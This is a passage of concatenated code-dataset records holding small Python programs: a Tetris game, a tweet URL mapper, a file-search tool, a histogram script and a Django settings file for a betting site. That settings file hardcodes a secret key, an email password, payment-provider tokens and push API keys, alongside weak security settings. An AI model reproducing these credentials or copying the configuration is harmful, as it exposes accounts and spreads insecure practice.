'Luca', 'Nita', 'Calin', 'Rotaru', 'Nedelcu',\n 'Bogdan', 'Suciu', 'Crisan'}\n","sub_path":"1930_name_gen.py","file_name":"1930_name_gen.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"587857399","text":"#!/usr/bin/python\n\nimport sys\nimport json\n\n#set the path to the input file\ntweets_data_path = 'C:/Users/Tanvi/Desktop/project2/stream/tweets_MH.txt'\n#tweets_data_path = 'C:/Users/Tanvi/Desktop/project2/stream/pollution/tweets_P.txt'\n\n#initialize an array and open the output file for reading\ntweets_file = open(tweets_data_path, \"r\")\n\n\n#process each line in input file\nfor line in tweets_file:\n try:\n tweet = json.loads(line)\n num_urls = len(tweet['entities']['urls'])\n #print(\"num_urls: \", num_urls)\n if num_urls > 0:\n for i in range(num_urls):\n url = tweet['entities']['urls'][i][\"expanded_url\"]\n if url:\n print (\"{}\\t{}\".format(url.lower(), 1))\n else:\n url = tweet['entities']['urls'][i][\"url\"]\n if url:\n print (\"{}\\t{}\".format(url.lower(), 1)) \n \n except:\n continue\n \n\n","sub_path":"Code/mapper_topUrls.py","file_name":"mapper_topUrls.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"48195774","text":"from random import *\nimport pygame\nfrom pygame.locals import *\nimport time\nimport sys\n\npygame.init()\n\npygame.display.set_caption('OSD2 Tetrix')\n\nrows, cols = 20, 10\narea = [[0 for col in range(cols)] for row in range(rows)]\nscreen = pygame.display.set_mode((cols*30 ,rows*30 + 10),0,32) # +250\nbackground = pygame.Surface(screen.get_size())\nbackground = background.convert()\nbackground.fill((10, 10, 10))\nspeed = 0.5\n\n# 블럭들\ntetrominoes = [0, 0, 0, 0, 0, 0, 0]\n# I : 막대, cyan 컬러\ntetrominoes[0]=[[\n [1,1,1,1]],\n\n [\n [1],\n [1],\n [1],\n [1]]]\n#colors[0]=0x00FFFF\n# T : ㅗ, purple 컬러\ntetrominoes[1]=[[\n [1,1,1],\n [0,1,0]],\n\n [\n [0,1],\n [1,1],\n [0,1]],\n\n [\n [0,1,0],\n [1,1,1]],\n\n [\n [1,0],\n [1,1],\n [1,0]]]\n#colors[1]=0x767676\n# L : ㄱ회전, orange 컬러\ntetrominoes[2]=[[\n [1,1,1],\n [1,0,0]],\n\n [\n [1,1],\n [0,1],\n [0,1]],\n\n [\n [0,0,1],\n [1,1,1]],\n\n [\n [1,0],\n [1,0],\n [1,1]]]\n#colors[2]=0xFFA500\n# J : ㄴ, blue 컬러\ntetrominoes[3]=[[\n [1,0,0],\n [1,1,1]],\n\n [\n [1,1],\n [1,0],\n [1,0]],\n\n [\n [1,1,1],\n [0,0,1]],\n\n [\n [0,1],\n [0,1],\n [1,1]]]\n#colors[3]=0x0000FF\n# Z : z, red 컬러\ntetrominoes[4]=[[\n [1,1,0],\n [0,1,1]],\n\n [\n [0,1],\n [1,1],\n [1,0]]]\n#colors[4]=0xFF0000\n# S : 벼락, green 컬러\ntetrominoes[5]=[[\n [0,1,1],\n [1,1,0]],\n\n [\n [1,0],\n [1,1],\n [0,1]]]\n#colors[5]=0x00FF00\n# O : 네모, yellow 컬러\ntetrominoes[6]=[[\n [1,1],\n [1,1]]]\n#colors[6]=0xFFFF00\n\ndef RawEnd(blocknum, blockstate) :\n return len(tetrominoes[blocknum][blockstate])\n\ndef ColEnd(blocknum, blockstate) : \n end = 0\n for row in range(len(tetrominoes[blocknum][blockstate])) :\n for col in range(4) : \n if tetrominoes[blocknum][blockstate] == 1 :\n if end < col : \n end = col\n return end\n\ndef DrawBlock() :\n screen.lock()\n for col in range(cols) :\n for row in range(rows) :\n if area[row][col] >= 1 :\n pygame.draw.rect(screen, (255,220,143), Rect((col*30,row*30), (27, 27)))\n pygame.display.update()\n screen.unlock()\n\ndef CleanUp() :\n screen.lock()\n screen.fill((10,10,10))\n pygame.display.update()\n screen.unlock()\n\ndef InsertAreaBlock(num) :\n tet = tetrominoes[num][0]\n tetrow = len(tetrominoes[num][0])\n tetcol = len(tetrominoes[num][0][0])\n row = 0\n\n while (tetrow > 0) :\n for col in range(tetcol) : \n area[0 + row][3 + col] = area[0 + row][3 + col] + tet[row][col]\n tetrow = tetrow - 1\n row = row + 1\n\ndef DownBlock(blocklocation, blocknum, blockstate) :\n tet = tetrominoes[blocknum][blockstate]\n tetcol = len(tetrominoes[blocknum][blockstate][0])\n tetlen = len(tet)\n row = 0\n x = blocklocation[0]\n y = blocklocation[1]\n\n if (x + tetlen == 20) :\n return False\n\n for col in range(tetcol) : \n if (x + tetlen < 20 and tet[tetlen - 1][col] > 0) :\n if (area[x + tetlen][y + col] > 0) :\n return False\n\n while (tetlen > 0) :\n for col in range(tetcol) : \n area[x + row][y + col] = area[x + row][y + col] - tet[row][col]\n tetlen = tetlen - 1\n row = row + 1\n\n tetlen = len(tet)\n row = 0\n while (tetlen > 0) :\n for col in range(tetcol) : \n area[x + 1 + row][y + col] = area[x + 1 + row][y + col] + tet[row][col]\n tetlen = tetlen - 1\n row = row + 1\n\n return True\n\ndef CheckHorizon(blocknum, blocklocation) :\n for col in range(10) :\n for row in range(4) :\n if (area[row][col] > 1) :\n return False\n\n return True\n\ndef Rotation(blocklocation, blocknum, blockstate) :\n rotatelen = len(tetrominoes[blocknum])\n tetcol = len(tetrominoes[blocknum][blockstate][0])\n x = blocklocation[0]\n y = blocklocation[1]\n\n blockstate2 = blockstate\n if (blockstate2 + 1 == rotatelen) :\n blockstate2 = 0\n else :\n blockstate2 += 1\n\n tet = tetrominoes[blocknum][blockstate]\n tetlen = len(tet)\n\n for row in range(tetlen) :\n for col in range(tetcol) : \n area[x + row][y + col] = area[x + row][y + col] - tet[row][col]\n\n tet = tetrominoes[blocknum][blockstate2]\n tetcol = len(tetrominoes[blocknum][blockstate2][0])\n tetlen = len(tet)\n\n for row in range(tetlen) :\n for col in range(tetcol) : \n area[x + row][y + col] = area[x + row][y + col] + tet[row][col]\n\n return blockstate2\n\ndef Move(blocklocation, blocknum, blockstate, way) :\n rotatelen = len(tetrominoes[blocknum])\n tetcol = len(tetrominoes[blocknum][blockstate][0])\n x = blocklocation[0]\n y = blocklocation[1]\n\n tet = tetrominoes[blocknum][blockstate]\n tetlen = len(tet)\n row = 0\n\n while (tetlen > 0) :\n for col in range(tetcol) : \n area[x + row][y + col] = area[x + row][y + col] - tet[row][col]\n tetlen = tetlen - 1\n row = row + 1\n\n tet = tetrominoes[blocknum][blockstate]\n tetlen = len(tet)\n row = 0\n\n while (tetlen > 0) :\n for col in range(tetcol) : \n area[x + row][y + col + way] = area[x + row][y + col + way] + tet[row][col]\n tetlen = tetlen - 1\n row = row + 1\n\ndef Lineall() :\n check = 0\n row2 = 0\n\n for row in range(20) :\n for col in range(10) :\n row2 = 19 - row\n if (area[row2][col] == 1) :\n check += 1\n else :\n break\n if check == 10 :\n return row2\n else :\n check = 0\n\n return 0\n\ndef DownAll(lineall) :\n area2 = area\n row2 = 0\n\n for row in range(rows) :\n print(area[row])\n #print(\"area\")\n\n for row in range(rows) :\n print(area2[row])\n #print(\"area2\")\n\n for col in range(10) : \n area[lineall][col] = 0\n\n for row in range(lineall + 1) : \n for col in range(10) : \n row2 = 19 - row\n if row2 == 0 :\n break\n area[row2][col] = area2[row2 - 1][col]\n\n for row in range(rows) :\n print(area[row])\n #print(\"downall\")\n\n\ndef Run() : \n gameover = False\n noncollision = False\n while not gameover :\n for event in pygame.event.get() :\n speed_up = 1\n spacecheck = 0\n\n if (noncollision == False) :\n while Lineall() != 0 : \n lineall = Lineall()\n DownAll(lineall)\n\n blocknum = randint(0, 6)\n noncollision = True\n InsertAreaBlock(blocknum)\n blocklocation = [0, 3]\n blockstate = 0\n\n if not CheckHorizon(blocknum, blocklocation) :\n noncollision = False\n gameover = True\n break\n\n CleanUp()\n DrawBlock()\n\n if event.type == pygame.QUIT :\n pygame.quit()\n sys.exit()\n if event.type == pygame.KEYDOWN :\n if event.key == K_UP :\n blockstate = Rotation(blocklocation, blocknum, blockstate)\n CleanUp()\n DrawBlock()\n elif event.key == K_RIGHT :\n if (blocklocation[1] != 10 - ColEnd(blocknum, blockstate)) : \n temp = blockstate\n blockstate = Move(blocklocation, blocknum, blockstate, 1)\n blocklocation[1] += 1\n blockstate = temp\n CleanUp()\n DrawBlock()\n elif event.key == K_LEFT :\n if blocklocation[1] > 0 :\n temp = blockstate\n blockstate = Move(blocklocation, blocknum, blockstate, -1)\n blocklocation[1] -= 1\n blockstate = temp\n CleanUp()\n DrawBlock()\n elif event.key == K_DOWN :\n speed_up = 10\n elif event.key == K_SPACE : \n downboolean2 = DownBlock(blocklocation, blocknum, blockstate)\n blocklocation[0] += 1\n while (downboolean2) :\n downboolean2 = DownBlock(blocklocation, blocknum, blockstate)\n blocklocation[0] += 1\n if (blocklocation[0] == 20 - RawEnd(blocknum, blockstate)) : \n break\n spacecheck = 1\n CleanUp()\n DrawBlock()\n\n if spacecheck == 0 :\n downboolean = DownBlock(blocklocation, blocknum, blockstate)\n if downboolean :\n blocklocation[0] += 1\n elif not downboolean :\n noncollision = False\n\n time.sleep(float(0.1)/speed/speed_up * 3)\n\n #for row in range(rows) :\n # print(area[row])\n #print(\"Cut\")\n\n #if not hasattr(event, 'key') : \n # continue\n\nRun()\n\npygame.quit()","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":9779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"444358816","text":"\"\"\"\nDjango settings for agencia24 project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.6/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.6/ref/settings/\n\"\"\"\n\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\nPROJECT_ROOT = BASE_DIR\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = 'i1)hxlju1t0i0-7kq&!&usy*2^xvx2fn4d!oa(vbdfbf1f3hs8'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\n\nALLOWED_HOSTS = []\n\n# Application definition\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.humanize',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\t# 3rd party apps I added:\n 'axes',\n 'bootstrap3_datetime',\n 'corsheaders',\n 'django_extensions',\n 'django_modalview',\n #'debug_toolbar',\n 'django_unused_media',\n 'django_user_agents',\n 'fixture_magic',\n 'longerusernameandemail',\n 'mathfilters',\n 'oauth2_provider', # add 'WSGIPassAuthorization On' to httpd.conf file\n\t'pagination',\n 'passwords',\n\t'registration',\n 'widget_tweaks',\n\t# My apps\n 'bet',\n 'simple_webservice',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'pagination.middleware.PaginationMiddleware',\n 'corsheaders.middleware.CorsMiddleware',\n 'axes.middleware.FailedLoginMiddleware',\n 'oauth2_provider.middleware.OAuth2TokenMiddleware',\n 'django_user_agents.middleware.UserAgentMiddleware',\n)\n\nROOT_URLCONF = 'agencia24.urls'\n\nWSGI_APPLICATION = 'agencia24.wsgi.application'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [\n os.path.join(PROJECT_ROOT, \"templates\"),\n ],\n 'OPTIONS': {\n 'context_processors': [\n 'django.contrib.auth.context_processors.auth',\n 'django.template.context_processors.debug',\n 'django.template.context_processors.i18n',\n 'django.template.context_processors.media',\n 'django.template.context_processors.static',\n 'django.template.context_processors.tz',\n 'django.contrib.messages.context_processors.messages',\n 'django.core.context_processors.request',\n 'bet.context_processors.debug',\n ],\n 'loaders': [\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n 'django.template.loaders.eggs.Loader',\n ],\n #'debug': False,\n },\n },\n]\nfrom django.template.loaders import eggs\n\nif not DEBUG:\n TEMPLATES[0]['OPTIONS']['loaders'] = (\n ('django.template.loaders.cached.Loader', (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n 'django.template.loaders.eggs.Loader',\n )),\n)\n\n\nSESSION_ENGINE = 'django.contrib.sessions.backends.cached_db'\n\n# Database\n# https://docs.djangoproject.com/en/1.6/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n}\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.6/topics/i18n/\n\nLANGUAGE_CODE = 'es-ar'\n\nTIME_ZONE = 'America/Argentina/Cordoba'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.6/howto/static-files/\nMEDIA_URL = \"/site_media/media/\"\nMEDIA_ROOT = os.path.join(PROJECT_ROOT, \"site_media\", \"_media\")\n\nSTATIC_URL = '/site_media/static/'\nSTATIC_ROOT = os.path.join(PROJECT_ROOT, \"static\")\nSTATICFILES_DIRS = (\n os.path.join(PROJECT_ROOT, \"site_media\", \"static\"),\n)\n\nLOCALE_PATHS = (\n os.path.join(PROJECT_ROOT, 'locale').replace('\\\\', '/'),\n)\n\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n)\n\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'verbose': {\n 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s'\n },\n 'simple': {\n 'format': 'A24 %(levelname)s [%(filename)s:%(lineno)s - %(funcName)20s() ] %(message)s'\n },\n },\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n },\n 'console':{\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n 'formatter': 'simple',\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n 'agencia24_default': {\n 'handlers': ['console', 'mail_admins'],\n 'level': 'DEBUG',\n 'propagate': True,\n },\n }\n}\n\n#===============================================================================\n# REGISTRATION!\n#===============================================================================\n\nACCOUNT_ACTIVATION_DAYS = 5\nSEND_ACTIVATION_EMAIL = False\n\nEMAIL_HOST_USER = \"no_reply_agencia24\"\nEMAIL_HOST_PASSWORD = \"noresponder\"\nEMAIL_HOST = 'smtp.webfaction.com'\nEMAIL_PORT = 587\nEMAIL_USE_TLS = True\n\nDEFAULT_FROM_EMAIL = '(Agencia24) '\nSERVER_EMAIL = DEFAULT_FROM_EMAIL\n\nREQUIRE_UNIQUE_EMAIL = False\n\n#===============================================================================\n\n\nLOGIN_REDIRECT_URL = '/'\nLOGIN_URL = '/accounts/login'\n\n\n#===============================================================================\n# MERCADOPAGO\n#===============================================================================\n\nMP_ACCESS_TOKEN = \"TEST-2692549476916264-012507-3c26394260b30dfc3c78a004094cf36d__LA_LB__-162591608\"\n\nMP_CLIENT_ID = \"2692549476916264\"\nMP_SECRET_KEY = \"oB4gYLQz5lNhFRWOuXt0WNW4umSW2mvj\"\n\n#===============================================================================\n# PDFKIT\n#===============================================================================\n\nWKHTMLTOPDF_PATH = ''\n\n#===============================================================================\n# PUSH\n#===============================================================================\n\n# IOS\nIOS_PUSH_HEADERS = {\n \"Authorization\": \"key=AIzaSyAuMBsR2J-i1Ne9gHH_1DL8jbHEBYJ5IgU\",\n \"content-Type\": \"application/json\"\n}\n\nANDROID_PUSH_HEADERS = {\n \"Authorization\": \"key=AIzaSyD-dcMsjsQsWbJ1tPwjsnMdwym79mE8xDU\",\n #\"Authorization\": \"key=AIzaSyA-D9yqibGabnUb_5bqQZptdQFxBQndGuc\",\n \"content-Type\": \"application/json\"\n}\n\n#===============================================================================\n# DJANGO OAUTH TOOLKIT\n#===============================================================================\n\nOAUTH2_PROVIDER = {\n 'ACCESS_TOKEN_EXPIRE_SECONDS': 600, # Seconds\n 'REFRESH_TOKEN_EXPIRE_SECONDS': 6*3600,\n}\n\nCORS_ORIGIN_ALLOW_ALL = True\n\nAUTHENTICATION_BACKENDS = (\n 'oauth2_provider.backends.OAuth2Backend',\n # Uncomment following if you want to access the admin\n 'django.contrib.auth.backends.ModelBackend'\n)\n\n#===============================================================================\n# DJANGO-PASSWORDS!\n#===============================================================================\n\nPASSWORD_MIN_LENGTH = 4\n\nPASSWORD_COMPLEXITY = { # You can omit any or all of these for no limit for that particular set\n \"UPPER\": 0, # Uppercase\n \"LOWER\": 0, # Lowercase\n \"LETTERS\": 0, # Either uppercase or lowercase letters\n \"DIGITS\": 0, # Digits\n \"SPECIAL\": 0, # Not alphanumeric, space or punctuation character\n \"WORDS\": 0 # Words (alphanumeric sequences separated by a whitespace or punctuation character)\n}\n\n#===============================================================================\n#===============================================================================\n\nQUINI6_MAX_NUMBER = 45\nLOTO_MAX_NUMBER = 41\nLOTO_MAX_EXTRA = 9\nLOTO5_MAX_NUMBER = 36\nBRINCO_MAX_NUMBER = 39\n\n#===============================================================================\n# DJANGO USER AGENT\n#===============================================================================\n\n# TODO!\n# Cache backend is optional, but recommended to speed up user agent parsing\n#CACHES = {\n# 'default': {\n# 'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',\n# 'LOCATION': '127.0.0.1:11211',\n# }\n#}\n\n# Name of cache backend to cache user agents. If it not specified default\n# cache alias will be used. Set to `None` to disable caching.\n#USER_AGENTS_CACHE = 'default'\n\n#===============================================================================\n# DJANGO AXES\n#===============================================================================\n\nfrom django.utils.timezone import timedelta\nAXES_COOLOFF_TIME = timedelta(minutes=20) # Hours\nAXES_LOCKOUT_TEMPLATE = 'registration/login.html'\nAXES_LOCK_OUT_BY_COMBINATION_USER_AND_IP = True\n\n\"\"\"\nAXES_LOGIN_FAILURE_LIMIT: The number of login attempts allowed before a record is created for the failed logins. Default: 3\nAXES_LOCK_OUT_AT_FAILURE: After the number of allowed login attempts are exceeded, should we lock out this IP (and optional user agent)? Default: True\nAXES_USE_USER_AGENT: If True, lock out / log based on an IP address AND a user agent. This means requests from different user agents but from the same IP are treated differently. Default: False\nAXES_COOLOFF_TIME: If set, defines a period of inactivity after which old failed login attempts will be forgotten. Can be set to a python timedelta object or an integer. If an integer, will be interpreted as a number of hours. Default: None\nAXES_LOGGER: If set, specifies a logging mechanism for axes to use. Default: 'axes.watch_login'\nAXES_LOCKOUT_TEMPLATE: If set, specifies a template to render when a user is locked out. Template receives cooloff_time and failure_limit as context variables. Default: None\nAXES_LOCKOUT_URL: If set, specifies a URL to redirect to on lockout. If both AXES_LOCKOUT_TEMPLATE and AXES_LOCKOUT_URL are set, the template will be used. Default: None\nAXES_VERBOSE: If True, you'll see slightly more logging for Axes. Default: True\nAXES_USERNAME_FORM_FIELD: the name of the form field that contains your users usernames. Default: username\nAXES_LOCK_OUT_BY_COMBINATION_USER_AND_IP: If True prevents to login from IP under particular user if attempts limit exceed, otherwise lock out based on IP. Default: False\n\"\"\"\n\n#===============================================================================\n\nADMINS = [('Developer', 'developer@liricus.com.ar')]\n#DEBUG = False\n#ALLOWED_HOSTS = ['*']\n\nSUPPORTED_IMPORT_EXT = ('.csv',)\nEXTRACT_SEPARATOR = '*'\n\nfrom local_settings_sf import *\n","sub_path":"agencia24/settings_sf.py","file_name":"settings_sf.py","file_ext":"py","file_size_in_byte":11803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"637916524","text":"from pathlib import Path\nfrom os.path import getsize\nfrom shutil import copy\n\n\ndef print_d(mypath: Path) -> [Path]:\n\t'In the first menu between D and R, function for D'\n\ttemp = []\n\tfor x in mypath.iterdir():\n\t\tif x.is_file():\n\t\t\ttemp.append(x)\n\tb = sorted(temp)\n\treturn b\n\ndef print_r(mypath: Path) -> [Path]:\n\t'In the first menu between D and R, function for R'\n\ta.extend(print_d(mypath))\n\tfor x in sorted(mypath.iterdir()):\n\t\tif x.is_dir():\n\t\t\tprint_r(x)\n\treturn a\n\ndef print_a(b: [Path]) -> [Path]:\n\t'It is printing function exist mainly because many menu requires printing result'\n\tfor x in b:\n\t\tprint(x)\n\treturn b\n\ndef print_n(mystring: str) -> [Path]:\n\t'In the second menu among N, E, T, <, >, it is for N'\n\tmylist = []\n\tfor x in a:\n\t\tif x.name == mystring:\n\t\t\tmylist.append(x)\n\treturn mylist\n\ndef print_e(mystring: str) -> [Path]:\n\t'In the second menu among N, E, T, <, >, it is for E'\n\tmylist = []\n\tif mystring[0] == '.':\n\t\tmystring2 = mystring[1:]\n\telse:\n\t\tmystring2 = mystring\n\n\tfor x in a:\n\t\tif x.suffix[1:] == mystring2:\n\t\t\tmylist.append(x)\n\t\t\tprint(x)\n\treturn mylist\n\ndef textcheck(mystring: str, filepath: Path) -> bool:\n\t'In the second menu among N, E, T, <, >, it is used for T.'\n\t'I left the function of checking text separate from making list when push T'\n\tthe_file = open(filepath, 'r')\n\twhile True:\n\t\tline = the_file.readline()\n\t\tif line.endswith('\\n'):\n\t\t\tline = line[:-1]\n\t\t\tif mystring in line:\n\t\t\t\tthe_file.close()\n\t\t\t\treturn True\n\t\telif line == '':\n\t\t\tthe_file.close()\n\t\t\treturn False\n\t\telse:\n\t\t\tthe_file.close()\n\t\t\treturn False\n\ndef print_t(mystring: str) -> [Path]:\n\t'In the second menu among N, E, T, <, >, it is for T.'\n\tmylist = []\n\tfor x in a:\n\t\tif textcheck(mystring, x):\n\t\t\tmylist.append(x)\n\t\t\tprint(x)\n\treturn mylist\n\ndef print_gt(myint: int) -> [Path]:\n\t'In the second menu among N, E, T, <, >, it is for >.'\n\tmylist = []\n\tfor x in a:\n\t\tif getsize(x) > myint:\n\t\t\tmylist.append(x)\n\t\t\tprint(x)\n\treturn mylist\n\ndef print_lt(myint: int) -> [Path]:\n\t'In the second menu among N, E, T, <, >, it is for <.'\n\tmylist = []\n\tfor x in a:\n\t\tif getsize(x) < myint:\n\t\t\tmylist.append(x)\n\t\t\tprint(x)\n\treturn mylist\n\ndef f_check(mylist: [Path]) -> None:\n\t'In the third menu among F D T, it is for F.'\n\tfor x in mylist:\n\t\ttry:\n\t\t\tthe_file = open(x, 'r')\n\t\t\tline = the_file.readline()\n\t\t\tline = line[:-1]\n\t\t\tprint(line)\n\t\texcept:\n\t\t\tprint('NOT TEXT')\n\tthe_file.close()\n\ndef d_check(mylist: [Path]) -> None:\n\t'In the third menu among F D T, it is for D.'\n\tfor x in mylist:\n\t\ty = str(x) + \".dup\"\n\t\tcopy(x, y)\n\ndef t_check(mylist: [Path]) -> None:\n\t'In the third menu among F D T, it is for T.'\n\tfor x in mylist:\n\t\tx.touch()\n\ndef main_menu() -> list:\n\t'It is the first menu'\n\tmyloop = True\n\twhile myloop:\n\t\tmyinput = input('')\n\t\tmypath = Path(myinput[2:])\n\t\tif ((myinput.startswith('D') or myinput.startswith('R')) \n\t\tand(len(myinput)>2) and (myinput[1] == ' ') and (mypath.exists())):\n\t\t\tmyloop = False\n\t\t\tif myinput[0] == 'D':\n\t\t\t\td = print_d(mypath)\n\t\t\t\tprint_a(d)\n\t\t\t\treturn d\n\t\t\telif myinput[0] == 'R':\n\t\t\t\tr = print_r(mypath)\n\t\t\t\tprint_a(r)\n\t\t\t\treturn r\n\t\telse:\n\t\t\tprint(\"ERROR\")\n\t\ndef second_menu(b: [Path]) -> [Path]:\n\t'It is the second menu'\n\tmyloop = True\n\twhile myloop:\n\t\tmyinput = input('')\n\t\tmystring = myinput[2:]\n\t\tif myinput == 'A':\n\t\t\tmyloop = False\n\t\t\tprint_a(b)\n\t\telif ((myinput.startswith('N') or myinput.startswith('E') or \n\t\tmyinput.startswith('T') or myinput.startswith('<') or \n\t\tmyinput.startswith('>')) and (len(myinput)>2) and (myinput[1] == ' ')):\n\t\t\tmyloop = False\n\t\t\tif myinput[0] == 'N':\n\t\t\t\tn = print_n(mystring)\n\t\t\t\tprint_a(n)\n\t\t\t\treturn n\n\t\t\telif myinput[0] == 'E':\n\t\t\t\te = print_e(mystring)\n\t\t\t\tprint_a(e)\n\t\t\t\treturn e\n\t\t\telif myinput[0] == 'T':\n\t\t\t\tt = print_t(mystring)\n\t\t\t\tprint_a(t)\n\t\t\t\treturn t\n\t\t\telif myinput[0] == '<':\n\t\t\t\tlt = print_lt(int(mystring))\n\t\t\t\tprint_a(lt)\n\t\t\t\treturn lt\n\t\t\telif myinput[0] == '>':\n\t\t\t\tgt = print_gt(int(mystring))\n\t\t\t\tprint_a(gt)\n\t\t\t\treturn gt\n\t\telse:\n\t\t\tprint(\"ERROR\")\n\ndef third_menu(b: Path) -> None:\n\t'It is the third menu'\n\tmyloop = True\n\twhile myloop:\n\t\tmyinput = input('')\n\t\tif ((myinput == 'F') or (myinput == 'D') or (myinput == 'T')):\n\t\t\tmyloop = False\n\t\t\tif myinput == 'F':\n\t\t\t\tf_check(b)\n\t\t\telif myinput == 'D':\n\t\t\t\td_check(b)\n\t\t\telif myinput == 'T':\n\t\t\t\tt_check(b)\n\t\telse:\n\t\t\tprint(\"ERROR\")\n\nif __name__ == '__main__':\n\ta = []\n\tmyfirstmenu = main_menu()\n\tmysecondmenu = second_menu(myfirstmenu)\n\n\tthird_menu(mysecondmenu)\n\n","sub_path":"project1/project1_09.py","file_name":"project1_09.py","file_ext":"py","file_size_in_byte":4419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"310715243","text":"#!/bin/python\n\nimport numpy as np\nimport csv\nimport sys\n\ndef main():\n if len(sys.argv) < 3:\n print(\"Error: Usage \")\n return\n data = []\n with open(sys.argv[1]) as f:\n reader = csv.DictReader(f, skipinitialspace=True, delimiter=\",\")\n data = [ float(row[sys.argv[2]]) for row in reader]\n\n np.dtype('float64')\n max_val = max(data)\n min_val = min(data)\n\n bins = np.linspace(0,6,13)\n hist = np.histogram(data, bins)\n\n # print(max_val, min_val)\n print(\"x,y\")\n for idx, l in enumerate(hist[1][:-1]):\n print(l, 2 * hist[0][idx] / len(data), sep=\",\")\n print(hist[1][-1], 0, sep=\",\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"project/data_raw/bin.py","file_name":"bin.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"575177164","text":"import torch\n\nchars_lower = [ chr(code) for code in range(ord('a'),ord('z')+1)]\nchars_upper = [ chr(code) for code in range(ord('A'),ord('Z')+1)]\nchars_special = [ code for code in \" -_.\" ]\ncode_special = [ \"?\", \"\", \"\", \"PAD\" ]\n\nSYMBOLS = chars_lower + chars_upper + chars_special + code_special\n\nMAX_LEN=27\nFIRST_LAYER_SIZE=MAX_LEN * len(SYMBOLS)\n\nMAX_OUT_LEN=22\nLAST_LAYER_SIZE=MAX_OUT_LEN * len(SYMBOLS)\n\nSEP_TOKEN = '[SEP]'\nCLS_TOKEN = '[CLS]'\nTRAIN_FILE_PATH = './data/labeled-2.csv'\nMODEL_FILE_PATH = '/share/model/predicate-model.pth'\nMODEL_OVERWRITE = False\nBATCH_SIZE = 2\nNUM_EPOCHS = 100\nGRADIENT_ACCUMULATION_STEPS = 8\nMAX_CLASS_SIZE = 20 # float(\"inf\") for all\nDEVICE = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nprint(DEVICE)\n","sub_path":"abbrev-trainer/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"650198650","text":"box1 = list()\nbox2 = list()\nans = ''\n\nfor i in range(3):\n box1.append(int(input()))\nfor i in range(3):\n box2.append(int(input()))\n\nbox2.sort()\nbox1.sort()\n\nif box1[0] == box2[0] and box1[1] == box2[1] and box1[2] == box2[2]:\n ans = 'Boxes are equal'\nelif box1[0] >= box2[0] and box1[1] >= box2[1] and box1[2] >= box2[2]:\n ans = 'The first box is larger than the second one'\nelif box1[0] <= box2[0] and box1[1] <= box2[1] and box1[2] <= box2[2]:\n ans = 'The first box is smaller than the second one'\nelse:\n ans = 'Boxes are incomparable'\n\nprint(ans)\n","sub_path":"Week 2/Boxes.py","file_name":"Boxes.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
